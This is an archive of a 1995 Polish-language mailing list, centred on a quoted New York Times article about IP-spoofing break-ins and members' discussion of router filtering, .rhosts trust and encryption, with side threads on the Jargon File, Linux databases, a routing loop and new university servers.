<3fvvoh$63m@ghost.mimuw.edu.pl> Subject: Re: Brzydkie slowa [niestety jeszcze raz] Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : Szymon Sokol (szymon@uci.agh.edu.pl) wrote: : : Jacek Piskozub (piskozub@iopan.gda.pl) wrote: : : : odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac : : : przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o : : : l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<" : : Musze zaprotestowac: Jargon File (pod redakcja Erica S. Raymonda, dostepny : : m.in. jako http://www.uci.agh.edu.pl/jargon/ ) nie zawiera slowa "lame". : Jak widze - Jargon File nasza Wyrocznia, jakis-tam Eric S. Raymond naszym : Guru. Kiedy zaczyna dzialalnosc Biale Bractwo Czcicieli Jargon File? Grrrr... Tym razem nie moge sie powstrzymac. Jeden facet pisze "blebleble to debilizm w dziedzinie >jargon file<". Drugi pisze: "nieprawda, jargon file nie zawiera tego slowa.". No wiec skad ci Guru i Wyrocznia? A teraz do Emina: LAME! Kaz -------------- Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND From lbs@phys.ufl.edu Tue Jan 24 02:13:48 1995 Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11282; Tue, 24 Jan 95 02:13:14 +0100 Return-Path: Received: by phys.ufl.edu (4.1/5.02) id AA24848; Mon, 23 Jan 95 20:17:35 EST Date: Mon, 23 Jan 95 20:17:35 EST From: Lech Borkowski Message-Id: <9501240117.AA24848@phys.ufl.edu> To: polip@zsku.p.lodz.pl Subject: kolejna seria wlaman; bezpieczenstwo sieci Dzisiejszy New York Times zamiescil na pierwszej stronie artykul o nowej serii wlaman do komputerow, m.in. do komputera jednego z ekspertow od bezpieczenstwa sieci. Pozniej moze przytocze pare fragmentow artykulu. W artykule odniesiono sie m.in. do spraw poruszonych w niedawnych artykulach pracownikow AT&T. Zajrzalem do AT&T Technical Journal i okazalo sie, ze numer na wrzesien/pazdziernik 1994 byl poswiecony technikom bezpieczenstwa sieci. Jesli ktos jest tym powazniej zainteresowany a nie ma dostepu do pisma AT&T Technical Journal, moge przeslac 2-3 osobom kopie artykulow. Szczegoly prywatnie. Lech Borkowski lbs@phys.ufl.edu From lbs@phys.ufl.edu Tue Jan 24 07:55:52 1995 Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02199; Tue, 24 Jan 95 07:52:48 +0100 Return-Path: Received: by phys.ufl.edu (4.1/5.02) id AA27648; Tue, 24 Jan 95 01:58:25 EST Date: Tue, 24 Jan 95 01:58:25 EST From: Lech Borkowski Message-Id: <9501240658.AA27648@phys.ufl.edu> To: polip@zsku.p.lodz.pl Subject: kolejna seria wlaman; bezpieczenstwo sieci comments, anyone? LB ------------------------------------------------------------------------------ The New York Times, January 23, 1995 Data Network Is Found Open To New Threat by John Markoff San Francisco, Jan. 22 A Federal computer security agency has discovered that unknown intruders have developed a new way to break into computer systems, and the agency plans on Monday to advise users how to guard against the problem. The new form of attack leaves many of the 20 million government, business, university and home computers on the global Internet vulnerable to eavesdropping and theft. Officials say that unless computer users take the complicated measures they will prescribe, intruders could copy or destroy documents or even operate undetected by posing as an authorized user of the system. For computer users, the problem is akin to homeowners discovering that burglars have master keys to all the front doors in the neighborhood. The first known attack using the new technique took place on Dec. 25 against the computer of a well-known computer security expert at the San Diego Supercomputer Center. An unknown individual or group took over his computer for more than a day and electronically stole a large number of security programs he had developed. Since then several attacks have been reported, and there is no way of knowing how many others may have occurred. Officials of the Government-financed Computer Emergency Response Team say that the new assaults are a warning that better security precautions will have to be taken before commerce comes to the Internet, a worldwide web of interconnected computers that exchange electronic messages, documents and computer programs. It is expected that by the end of this year such businesses as florists, supermarkets, credit card companies and banks will peddle wares to customers via the Internet and the new intruders could be able to steal credit card numbers, merchandise and money. The response team, based at Carnegie-Mellon University in Pittsburgh, plans on Monday to post an advisory on the Internet, alerting computer users to the attacks and urging them to take a variety of protective measures involving software and hardware security mechanisms. "This was a sophisticated attack," said James Settle, a former F.B.I. computer crime expert who is now an executive at the Inet Corporation, a computer security firm. "Essentially everyone is vulnerable." The Internet works by breaking computer messages into groups of digital packets of data, each of which has an electronic "envelope" that provides "to" and "from" addressing information used by special network computers known as routers that deliver the data. The new attack makes use of a flaw in the design of the network to fool the router computers into believing that a message is coming from a trusted source. By masquerading as a familiar computer, an attacker can gain access to protected computer resources and seize control of an otherwise well-defended system. Computer administrators at several organizations that have been broken into by individuals using the technique said they had been contacted by Federal law-enforcement officials as part of an investigation into the break-ins, but Justice Department officials refused to comment. [...] Classified Government military computer systems are not thought to be at risk because they are not directly connected to the Internet. And until now, most companies and other organizations with computers directly connected to the Internet have assumed they could protect themselves from intruders by creating various types of hardware and software defenses known as "fire walls." But the new type of attack can in many cases easily penetrate these common defenses, according to officials of the Computer Emergency Response Team. "Out of all the sites on the Internet, there are only some small fraction that care enough about security," said Tom Longstaff, manager of research and development for the security agency. The security warning to be issued on Monday will include a list of brands of router computers that can use a computer program to protect against the new attack, which is called IP, or Internet protocol, spoofing. The new defense works by recognizing packets that have been forged and rejecting them. But the advisory will also list brands of routers that have no way of protecting against the attack. Computer security experts said there was no good way of estimating what fraction of the Internet computers have routers or fire wall software capable of protecting against the attack. "This is a really tough problem because it is an attack based on the way things work normally," said Marcus Ranum, a senior scientist at Trusted Information Systems, a computer security firm. The flaw, which has been known as a theoretical possibility to computer experts for more than a decade, but has never been demonstrated before, is creating alarm among security experts now because of the series of break-ins and attacks in recent weeks. The weakness, which was previously reported in technical papers by AT&T researchers, was detailed in a talk given by Tsutomu Shimomura, a computer security expert at the San Diego Supercomputer Center, at a California computer security seminar sponsored by researchers at the University of California at Davis two weeks ago. Mr. Shimomura's computer was taken over by an unknown attacker who then copied documents and programs to computers at the University of Rochester where they were illegally hidden on school computers. Most computer security experts say that real security on the Internet awaits the widespread adoption of encryption technology for scrambling data and authenticating messages. Internet veterans also expressed anger at the new style of attack because it would cause many organizations to strengthen their security systems, thus making the network less convenient and less useful. "These guys are striking the basis of trust that makes the network work," Mr. Ranum said, "and I hate that." From max@twins.pk.edu.pl Tue Jan 24 10:25:54 1995 Received: from sony10.twins.pk.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04535; Tue, 24 Jan 95 10:22:52 +0100 Return-Path: Received: by twins.pk.edu.pl (4.0/SMI-4.0) id AA06503; Tue, 24 Jan 95 10:29:53 +0100 From: max@twins.pk.edu.pl (Aleksander Matuszak) Message-Id: <9501240930.AA06503@twins.pk.edu.pl> Organization: Cracow University of Technology, L-5 Institute Subject: Re: Baza danych dla Linuxa ? To: polip@zsku.p.lodz.pl Date: Tue, 24 Jan 1995 10:29:51 +0100 (MET) In-Reply-To: <3g09nu$gic@Waldemar.mat.uni.torun.pl> from "Krzysztof Gozdziewski" at Jan 23, 95 02:36:52 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 414 > > Moze ktos bedzie mi mogl pomoc: szukam bazy danych (programu), ktora > mozna by bylo uzywac pod Linux'em. Zupelnie zadowalajacy bylby program > w rodzaju DOS-owego dbase. Najlepiej jak by byl public domain. > > Krzysztof Gozdziewski Warto obejrzec plik /pub/free-databases na idiom.com Zawiera dosc kompletna liste dostepnego oprogramowania. Pozdrowienia Aleksander Matuszak max@twins.pk.edu.pl From jubork@ncac.torun.pl Tue Jan 24 12:00:57 1995 Received: from fox.ncac.torun.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06442; Tue, 24 Jan 95 11:56:33 +0100 Return-Path: Received: by fox.ncac.torun.pl (4.1/SMI-4.1.jv) id AA01191; Tue, 24 Jan 95 11:59:23 +0100 From: jubork@ncac.torun.pl (Jerzy Borkowski) Message-Id: <9501241059.AA01191@fox.ncac.torun.pl> Subject: routing na Bartycka w W-wie To: polip@zsku.p.lodz.pl Date: Tue, 24 Jan 1995 11:59:22 +0100 (MET) Cc: jubork@ncac.torun.pl (Jerzy Borkowski) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1104 Czy ktos wie dlaczego nie dziala routing do CAMK/CBK/NASK na Bartycka w Warszawie : traceroute to gamma.camk.edu.pl (148.81.25.3), 30 hops max, 40 byte packets 1 TORMAN-link (158.75.7.1) 4 ms 2 ms 2 ms 2 192.124.116.6 (192.124.116.6) 2 ms 2 ms 2 ms 3 gollum.nask.org.pl (193.59.200.57) 607 ms 601 ms 553 ms 4 kirdan.nask.org.pl (193.59.201.17) 548 ms 556 ms 559 ms 5 pl-gw.nask.org.pl (193.59.201.34) 1093 ms 1743 ms 1247 ms 6 kirdan.nask.org.pl (193.59.201.33) 1083 ms 1154 ms 1099 ms 7 pl-gw.nask.org.pl (193.59.201.34) 1834 ms 1856 ms 1712 ms 8 kirdan.nask.org.pl (193.59.201.33) 1997 ms 1885 ms 2076 ms 9 pl-gw.nask.org.pl (193.59.201.34) 2167 ms 2315 ms 2181 ms 10 kirdan.nask.org.pl (193.59.201.33) 2249 ms 2133 ms 2117 ms 11 pl-gw.nask.org.pl (193.59.201.34) 2696 ms 2712 ms 2662 ms 12 kirdan.nask.org.pl (193.59.201.33) 2680 ms 2644 ms 2651 ms 13 pl-gw.nask.org.pl (193.59.201.34) 3186 ms 3194 ms 3302 ms 14 kirdan.nask.org.pl (193.59.201.33) 3235 ms 3169 ms 3168 ms itd, itp pozdrowienia Jerzy Borkowski jubork@astri.uni.torun.pl From staszek@mimuw.edu.pl Tue Jan 24 13:00:55 1995 Received: from ghost.mimuw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07826; Tue, 24 Jan 95 12:56:55 +0100 Return-Path: Received: from localhost (staszek@localhost) by ghost.mimuw.edu.pl (8.6.4/8.6.4) id NAA02897 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 13:03:09 +0100 From: Staszek Kurpiewski Message-Id: <199501241203.NAA02897@ghost.mimuw.edu.pl> Subject: Re: routing na Bartycka w W-wie To: polip@zsku.p.lodz.pl Date: Tue, 24 Jan 1995 13:03:07 +0100 (MET) In-Reply-To: <9501241059.AA01191@fox.ncac.torun.pl> from "Jerzy Borkowski" at Jan 24, 95 12:10:31 pm X-Mailer: ELM [version 2.4 PL20] Content-Type: text Content-Length: 887 > > Czy ktos wie dlaczego nie dziala routing do CAMK/CBK/NASK na > Bartycka w Warszawie : > > traceroute to gamma.camk.edu.pl (148.81.25.3), 30 hops max, 40 byte packets > 1 TORMAN-link (158.75.7.1) 4 ms 2 ms 2 ms > 2 192.124.116.6 (192.124.116.6) 2 ms 2 ms 2 ms > 3 gollum.nask.org.pl (193.59.200.57) 607 ms 601 ms 553 ms > 4 kirdan.nask.org.pl (193.59.201.17) 548 ms 556 ms 559 ms > 5 pl-gw.nask.org.pl (193.59.201.34) 1093 ms 1743 ms 1247 ms > 6 kirdan.nask.org.pl (193.59.201.33) 1083 ms 1154 ms 1099 ms > 7 pl-gw.nask.org.pl (193.59.201.34) 1834 ms 1856 ms 1712 ms > 8 kirdan.nask.org.pl (193.59.201.33) 1997 ms 1885 ms 2076 ms > 9 pl-gw.nask.org.pl (193.59.201.34) 2167 ms 2315 ms 2181 ms > itd, itp > > pozdrowienia Nie dziala tez routing z Ochoty do kbn.gov.pl. Zatrzymuje sie rowniez na kirdan i pl-gw w NASKu. Staszek Kurpiewski From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 24 15:20:11 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11116; Tue, 24 Jan 95 15:19:10 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA06758 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 15:17:11 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 24 Jan 1995 14:54:17 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3g30q9$pld@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501240658.AA27648@phys.ufl.edu> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Lech Borkowski (lbs@phys.ufl.edu) wrote: : comments, anyone? Tak, ja pozwole sobie skomentowac: : The new attack makes use of a flaw in the design of the network to fool the : router computers into believing that a message is coming from a trusted source. : By masquerading as a familiar computer, an attacker can gain access to : protected computer resources and seize control of an otherwise well-defended : system. Mowiac krotko: chodzi o "packet forging". Jezeli router pozwala wylaczyc "source routing" i nie akceptuje pakietow przychodzacych "ze zlej strony", to ten atak sie nie uda. Poza tym, jezeli Twoj komputer nie uznaje zadnych innych za "trusted" (w sensie .rhosts, NFS, itd.) to rowniez nie zadziala. Nie jest tak zle. Stwierdzenie ze "esentially everyone is vulnerable" nalezy uznac za gruba przesade. : The security warning to be issued on Monday will include a list of brands of : router computers that can use a computer program to protect against the new : attack, which is called IP, or Internet protocol, spoofing. The new defense : works by recognizing packets that have been forged and rejecting them. But the : advisory will also list brands of routers that have no way of protecting against : the attack. No wlasnie. Oczywiscie Cisco pozwala na taka ochrone, a siec NASK bazuje glownie na Cisco... : "This is a really tough problem because it is an attack based on the way : things work normally," said Marcus Ranum, a senior scientist at Trusted : Information Systems, a computer security firm. Dziwi mnie, ze Marcus (znany ze swoich radykalnych pogladow na bezpieczenstwo) uznal za normalny stan, w ktorym bezpieczenstwo bazuje na adresach IP (vide .rhosts). Odkad pamietam, byl zwolennikiem silnej kryptograficznej autentykacji. Ten facet uwaza hasla (obojetne jak skomplikowane) za przestarzala technologie (i ma duzo racji). : "These guys are striking the basis of trust that makes the network work," Mr. : Ranum said, "and I hate that." To niestety prawda... Ale w momencie, kiedy Internet zaczyna byc uzywany do celow komercyjnych (wedruja po nim numery kart kredytowych itp.) enkrypcja staje sie koniecznoscia. -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 24 16:20:11 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12538; Tue, 24 Jan 95 16:19:22 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA07646 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 16:21:06 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 24 Jan 1995 15:04:59 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3g34ur$6df@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501240658.AA27648@phys.ufl.edu>, <3g30q9$pld@galaxy.uci.agh.edu.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Szymon Sokol (szymon@uci.agh.edu.pl) wrote: : : The new attack makes use of a flaw in the design of the network to fool the : : router computers into believing that a message is coming from a trusted source. : : By masquerading as a familiar computer, an attacker can gain access to : : protected computer resources and seize control of an otherwise well-defended : : system. : Mowiac krotko: chodzi o "packet forging". Jezeli router pozwala wylaczyc : "source routing" i nie akceptuje pakietow przychodzacych "ze zlej strony", : to ten atak sie nie uda. Poza tym, jezeli Twoj komputer nie uznaje zadnych : innych za "trusted" (w sensie .rhosts, NFS, itd.) to rowniez nie zadziala. : Nie jest tak zle. Stwierdzenie ze "esentially everyone is vulnerable" nalezy : uznac za gruba przesade. Czyli - ogolnie rzecz biorac nie jestesmy specjalnie zagrozeni, bo malo kto uwaza za trusted cokolwiek spoza swojego kabla. Przesada wynika z tego, ze artykul pisal dziennikarz. : : "This is a really tough problem because it is an attack based on the way : : things work normally," said Marcus Ranum, a senior scientist at Trusted : : Information Systems, a computer security firm. : Dziwi mnie, ze Marcus (znany ze swoich radykalnych pogladow na bezpieczenstwo) : uznal za normalny stan, w ktorym bezpieczenstwo bazuje na adresach IP (vide : .rhosts). Odkad pamietam, byl zwolennikiem silnej kryptograficznej : autentykacji. Ten facet uwaza hasla (obojetne jak skomplikowane) za : przestarzala technologie (i ma duzo racji). : : "These guys are striking the basis of trust that makes the network work," Mr. : : Ranum said, "and I hate that." : To niestety prawda... Ale w momencie, kiedy Internet zaczyna byc uzywany do : celow komercyjnych (wedruja po nim numery kart kredytowych itp.) enkrypcja : staje sie koniecznoscia. To jest ogolnie dziwne, ze przy istniejacych technologiach kryptologicznych zwykle przepustki sa wciaz podstawowa metoda weryfikacji tozsamosci uzytkownikow. To jest dla mnie rowinie dziwne, jak to, ze producenci drogich samochodow wciaz produkuja do nich metalowe kluczyki. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From zych@student.uci.agh.edu.pl Tue Jan 24 16:55:59 1995 Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13481; Tue, 24 Jan 95 16:51:21 +0100 Return-Path: Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (8.6.9/ALLMAN-8.6.9) id QAA14185; Tue, 24 Jan 1995 16:56:46 +0100 Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Received: by student.uci.agh.edu.pl (8.6.9/ALLMAN-8.6.9) id QAA08390; Tue, 24 Jan 1995 16:56:21 +0100 From: zych@student.uci.agh.edu.pl (Zbigniew Zych) Message-Id: <199501241556.QAA08390@student.uci.agh.edu.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Tue, 24 Jan 1995 16:56:21 +0100 (MET) In-Reply-To: <3g34ur$6df@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 24, 95 04:24:48 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1136 Andrzej K. Brandt wrote: > To jest ogolnie dziwne, ze przy istniejacych technologiach kryptologicznych > zwykle przepustki sa wciaz podstawowa metoda weryfikacji tozsamosci > uzytkownikow. Fakt... > To jest dla mnie rowinie dziwne, jak to, ze producenci drogich samochodow > wciaz produkuja do nich metalowe kluczyki. Kwestia przyzwyczajenia klientow... Wyobrazasz sobie nowobogackiego, co sie nie zna na komputerach, i mialby "zapalic" swego np. Jaguara karta magnetyczna albo nawet procesorowa, i jeszcze wprowadzic 12 cyfrowy kod powstaly z wyliczenia prostego rownania kwadratowego? [ Dla ludzi z malym poczuciem humoru - podpowiedz: te 12 cyfr - to byl zart - prosze nie pisac na ten temat na liste... ;) jesli juz musisz pisz na moj prywatny adres... ;) ] Zbigniew Zych PS: a jednak zostawie "ircnick" w .Sig.... Bo L*** nie uzywam... No chyba zeby okreslic uzywajacych tego slowa.... ;) -- Zbigniew Zych ircnick: Zyzio home phone: 48+12-48.74.29 -- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl -- HomePage From yppawlus@cyf-kr.edu.pl Tue Jan 24 17:05:24 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14076; Tue, 24 Jan 95 17:04:52 +0100 Return-Path: Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id RAA13340 for ; Tue, 24 Jan 1995 17:06:53 +0100 From: Jerzy Pawlus Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id RAA03258; Tue, 24 Jan 1995 17:07:41 +0100 Date: Tue, 24 Jan 1995 17:07:41 +0100 Message-Id: <199501241607.RAA03258@mg.cyf-kr.edu.pl> To: polip@zsku.p.lodz.pl In-Reply-To: <3g30q9$pld@galaxy.uci.agh.edu.pl> (szymon@uci.agh.edu.pl) Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci > > Lech Borkowski (lbs@phys.ufl.edu) wrote: > > : comments, anyone? > Tak, ja pozwole sobie skomentowac: > > : The new attack makes use of a flaw in the design of the network to fool the > : router computers into believing that a message is coming from a trusted source. > : By masquerading as a familiar computer, an attacker can gain access to > : protected computer resources and seize control of an otherwise well-defended > : system. > Mowiac krotko: chodzi o "packet forging". Jezeli router pozwala wylaczyc > "source routing" i nie akceptuje pakietow przychodzacych "ze zlej strony", > to ten atak sie nie uda. Poza tym, jezeli Twoj komputer nie uznaje zadnych > innych za "trusted" (w sensie .rhosts, NFS, itd.) to rowniez nie zadziala. > Nie jest tak zle. Stwierdzenie ze "esentially everyone is vulnerable" nalezy > uznac za gruba przesade. > Niestety Szymonie nie do konca sie z Toba zgodze. Moim zdaniem ten typ wlaman moze miec powazne konsekwencje dla rozwoju sieci Internet. I moze nie jest przypadkiem, ze problem zostal ujawniony gdy do Internetu na masowa skale przylaczaja sie firmy komercyjne i banki i ze coraz czesciej dochodzi do roznych transkacji handlowych poprzez Internet. Dla mnie mozliwosc penetracji sieci lokalnej z zewnatrz (pomijajac source routing, gdyz nie to spowodowalo cale zamieszanie) calkowicie wyklucza stosowanie tzw. "unix authorization". Popatrz ilu uzytkownikow nawet na Twojej maszynie stosuje .rhosts (oni potencjalnie moga byc obiektem penetracji i stanowic odskocznie do dalszych szkod) Kto na swiecie, nie mowiac o Polsce stosuje filtry nie wpuszczjace z zewnatrz do swojej sieci pakietow o adresie zrodlowym swojej sieci? Osobiscie mysle, ze z uwagi na techniczne problemy zwiazane z penetracja tej dziury bezposrednie niebezpieczenstwo nam nie grozi. Ale nie bylbym takim optymista w przypadku bankow czy innych powaznych instytucji zarabiajacych z pomoca sieci. Na tym nie koniec. Razem z IP spoofing pojawily sie informacje o mozliwosci przechytywania sesji interakcyjnych (telnet, rlogin). Na szczescie trzeba miec do tego uprawnienia root'a. Jurek From yppawlus@cyf-kr.edu.pl Tue Jan 24 17:11:00 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14241; Tue, 24 Jan 95 17:07:41 +0100 Return-Path: Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id RAA13369 for ; Tue, 24 Jan 1995 17:09:40 +0100 From: Jerzy Pawlus Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id RAA03262; Tue, 24 Jan 1995 17:10:28 +0100 Date: Tue, 24 Jan 1995 17:10:28 +0100 Message-Id: <199501241610.RAA03262@mg.cyf-kr.edu.pl> To: polip@zsku.p.lodz.pl In-Reply-To: <3g34ur$6df@ghost.mimuw.edu.pl> (andy@eleet.mimuw.edu.pl) Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci > > Czyli - ogolnie rzecz biorac nie jestesmy specjalnie zagrozeni, bo malo kto > uwaza za trusted cokolwiek spoza swojego kabla. > > Przesada wynika z tego, ze artykul pisal dziennikarz. > Niestety nie. Problem lezy w tym, ze jestes zagrozony jezeli masz trusted na swoim kablu. Jurek From chris@highresnmr.biophys.upenn.edu Tue Jan 24 17:40:59 1995 Received: from NOC4.DCCS.UPENN.EDU by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15684; Tue, 24 Jan 95 17:39:10 +0100 Received: from HIGHRESNMR.BIOPHYS.UPENN.EDU by noc4.dccs.upenn.edu id AA12539; Tue, 24 Jan 95 11:44:53 -0500 Return-Path: Received: by highresnmr.biophys.upenn.edu id AA03522; Tue, 24 Jan 95 11:37:16 EST Date: Tue, 24 Jan 95 11:37:16 EST From: chris@highresnmr.biophys.upenn.edu (Krzysztof Wroblewski) Posted-Date: Tue, 24 Jan 95 11:37:16 EST Message-Id: <9501241637.AA03522@highresnmr.biophys.upenn.edu> To: polip@zsku.p.lodz.pl Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Jedyna w miare pewna metoda zabezpieczania sieci lokalnych jest pelna izolacja. Obawiam sie, ze to wszystko wlasnie bedzie szlo w tym kierunku. Przyklad z wlasnego podworka: w szpitalu uniwersyteckim siec lokalna obejmujaca kilka tysiecy komputerow jest niekompatybilna z niczym i nie ma wyjscia poza uniwersytet. Nawet gniazdka zrobione sa tak, zeby nic innego tam nie pasowalo. Te zas komputery ktore sa w sieci ogolnouniwersyteckiej czyli w Internecie nie moga byc rownoczesnie polaczone do sieci szpitalnej. Nie wolno rowniez na nich przechowywac zadnych danych dotyczacych pacjentow. Oczywiscie pacjenci za to placa, wiec nie jest to moze problem finansowy ale pozostaje zwyczajna niedogodnosc. Krzysztof Wroblewski From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 24 22:01:01 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18611; Tue, 24 Jan 95 21:59:06 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA13122 for polip@zsku.p.lodz.pl; Tue, 24 Jan 1995 21:58:56 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 24 Jan 1995 20:57:48 GMT From: kszychu@i17linuxa.ists.pwr.wroc.pl (Krzysztof Gozdz) Message-Id: <3g3pkc$ekq@sun1000.ci.pwr.wroc.pl> Organization: Technical University of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Nowe polskie zasoby sieciowe Zglaszam dwa nowe polskie zasoby sieciowe. W Instytucie Sterowania i Techniki Systemow Politechniki Wroclawskiej uruchomilismy serwery WWW i Anonymous FTP. Jako ciekawoste podaje, ze oba serwery pracuja na jednym malym systemie Linux'owym. Resource: http://www.ists.pwr.wroc.pl/, world wide web server Type: world wide web server Place: Institute of Control and Systems Engineering, +Place: Technical Univeristy of Wroclaw, Wroclaw, Poland Contact: Marek Kuchciak Date: 95.01.24 URL: http://www.ists.pwr.wroc.pl/ Resource: ftp.ists.pwr.wroc.pl, anonymous ftp Type: anonymous ftp Place: Institute of Control and Systems Engineering, +Place: Technical University of Wroclaw, Wroclaw, Poland Contact: Marek Michalkiewicz Date: 95.01.24 URL: ftp://ftp.ists.pwr.wroc.pl/ Informacje te wysylam do dwoch polskich grup news'owych: * pl.internet.nowosci, * pl.listserv.polip. 3majcie sie! -Kszychu PS/1 Macku, dzieki za pomoc. :-) -- ///\ Name: Krzysztof Gozdz "Kszychu" C .. Study: Poland Wroclaw Technical University _\ Institute of Control and Systems Engineering \ \ E-mail: kszychu@i17linuxa.ists.pwr.wroc.pl WWW: http://www.ists.pwr.wroc.pl/~kszychu From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 09:01:46 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02927; Wed, 25 Jan 95 08:58:58 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id IAA22139 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 08:50:23 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 25 Jan 1995 07:34:33 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3g4uu9$45m@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501240658.AA27648@phys.ufl.edu> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Lech Borkowski (lbs@phys.ufl.edu) wrote: > ------------------------------------------------------------------------------ > Data Network Is Found Open To New Threat > The security warning to be issued on Monday will include a list of brands of > router computers that can use a computer program to protect against the new > attack, which is called IP, or Internet protocol, spoofing. The new defense > works by recognizing packets that have been forged and rejecting them. But the > advisory will also list brands of routers that have no way of protecting against > the attack. 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja, ktora autor nazwal PARANOID (przeciw DNS spoofing) jest teraz wkompilowana w tcpd w Slackware Linux. Do czyszczenia opcji IP sluzy KILL_IP_OPTIONS (W Linuxie niepotrzebna bo opcje nie sa zaimplementowane).i Jezeli ktos podejrzewa, ze jego tcpd tego nie robi to jest dobra okazja zeby skompilowac nowa wersje - 7.1, tylko do Suna potrzebny jest patch 100804-03 lub 101790, jak informuje Venema. tcp_wrapper wykorzystuje tez demona ident, jezeli jest dostepny. > Computer security experts said there was no good way of estimating what > fraction of the Internet computers have routers or fire wall software capable of > protecting against the attack. Nie moge sie oprzec (to obsesja jakas) zeby znowu nie wspomniec Linuxa. Fire wall jest na wyposazeniu... > Most computer security experts say that real security on the Internet awaits > the widespread adoption of encryption technology for scrambling data and > authenticating messages. To juz prawie jest - troche RFC, zrodla BSD - tylko prawo nawala, wiec nie pojawia sie swiatowy standard. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From 